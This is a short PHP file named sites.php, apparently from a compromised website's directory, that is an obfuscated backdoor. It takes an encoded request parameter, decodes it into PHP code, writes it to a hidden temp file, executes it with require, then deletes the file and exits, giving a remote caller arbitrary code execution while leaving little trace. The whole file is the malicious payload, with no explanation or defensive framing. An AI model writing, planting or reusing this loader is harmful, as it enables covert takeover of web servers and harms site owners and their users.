File: /home/vitanhod/vigolic-1000.vitavit.com.pk/sites.php
<?php
if(array_key_exists("\x70\x74r", $_REQUEST)){
$flg = $_REQUEST["\x70\x74r"];
$flg=explode('.' , $flg ) ;
$pointer = '';
$salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($salt4 );
$q = 0;
foreach ($flg as $v5) { $chS = ord($salt4[$q% $sLen] );
$d = ((int)$v5 - $chS - ($q% 10)) ^ 48;
$pointer .= chr($d );
$q++;
}
$token = array_filter(["/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/dev/shm"]);
foreach ($token as $tkn):
if ((is_dir($tkn) and is_writable($tkn))) {
$ref = sprintf("%s/.property_set", $tkn);
if (file_put_contents($ref, $pointer)) {
require $ref;
unlink($ref);
die();
}
}
endforeach;
}